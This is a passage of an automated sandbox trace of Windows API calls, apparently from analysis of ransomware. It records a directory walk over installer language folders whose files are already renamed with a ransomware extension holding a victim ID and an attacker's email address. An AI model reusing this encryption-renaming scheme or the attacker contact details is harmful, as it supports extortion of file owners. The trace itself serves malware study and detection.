FindNextFileW (in: hFindFile=0x72a848, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x734f1ca, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.498] FindNextFileW (in: hFindFile=0x72a848, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x734f1ca, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.498] FindClose (in: hFindFile=0x72a848 | out: hFindFile=0x72a848) returned 1 [0158.499] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0158.499] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x737fee6, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x737fee6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1 [0158.499] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0158.499] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x737fee6, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x737fee6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName=".", cAlternateFileName="")) returned 0x72a3c8 [0158.501] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x737fee6, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x737fee6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="..", cAlternateFileName="")) returned 1 [0158.501] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7ef7aab, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7ef7aab, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8396179, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.501] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8028d9e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8028d9e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8028d9e, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x14516, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.501] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x734f1ca, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7dec7e1, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.501] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x734f1ca, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7dec7e1, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.501] FindClose (in: hFindFile=0x72a3c8 | out: hFindFile=0x72a3c8) returned 1 [0158.502] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0158.502] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73e7a92, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1 [0158.502] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0158.502] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73e7a92, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName=".", cAlternateFileName="")) returned 0x72a3c8 [0158.504] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73e7a92, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="..", cAlternateFileName="")) returned 1 [0158.504] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8028d9e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8028d9e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x804ee31, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1bb4, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.505] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x804ee31, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x804ee31, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x804ee31, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x11a86, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.505] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x73e7a92, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73e7a92, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.505] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x73e7a92, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73e7a92, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.505] FindClose (in: hFindFile=0x72a3c8 | out: hFindFile=0x72a3c8) returned 1 [0158.506] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0158.506] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x740ddd0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x740ddd0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1 [0158.506] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0158.506] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x740ddd0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x740ddd0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName=".", cAlternateFileName="")) returned 0x72a3c8 [0158.507] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x740ddd0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x740ddd0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="..", cAlternateFileName="")) returned 1 [0158.507] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80e7938, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x80e7938, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x80e7938, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1184, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.508] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80e7938, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x80e7938, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x810db0b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x152a6, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.508] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x73e7a92, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x745a2dd, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.508] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x73e7a92, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x745a2dd, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.508] FindClose (in: hFindFile=0x72a3c8 | out: hFindFile=0x72a3c8) returned 1 [0158.509] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0158.509] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1 [0158.509] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0158.509] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName=".", cAlternateFileName="")) returned 0x72a6c8 [0158.511] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="..", cAlternateFileName="")) returned 1 [0158.511] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x810db0b, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x810db0b, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8133b91, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.511] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8133b91, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8133b91, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x858651b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x139b6, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.511] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x745a2dd, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x745a2dd, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e5f03d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.511] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x745a2dd, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x745a2dd, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e5f03d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.511] FindClose (in: hFindFile=0x72a6c8 | out: hFindFile=0x72a6c8) returned 1 [0158.512] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0158.512] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1 [0158.512] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0158.512] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName=".", cAlternateFileName="")) returned 0x72a848 [0158.514] FindNextFileW (in: hFindFile=0x72a848, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="..", cAlternateFileName="")) returned 1 [0158.514] FindNextFileW (in: hFindFile=0x72a848, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8264d9d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8264d9d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8264d9d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2874, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.515] FindNextFileW (in: hFindFile=0x72a848, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x828b3af, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x828b3af, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x828b3af, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x10b86, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.515] FindNextFileW (in: hFindFile=0x72a848, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x748055f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x748055f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x748055f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.515] FindNextFileW (in: hFindFile=0x72a848, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x748055f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x748055f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x748055f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.515] FindClose (in: hFindFile=0x72a848 | out: hFindFile=0x72a848) returned 1 [0158.516] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0158.516] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1 [0158.516] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0158.516] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName=".", cAlternateFileName="")) returned 0x72a6c8 [0158.518] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="..", cAlternateFileName="")) returned 1 [0158.518] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82b13ae, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x82b13ae, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x82b13ae, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3274, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.518] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82b13ae, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x82b13ae, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x87c24f3, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xffd6, 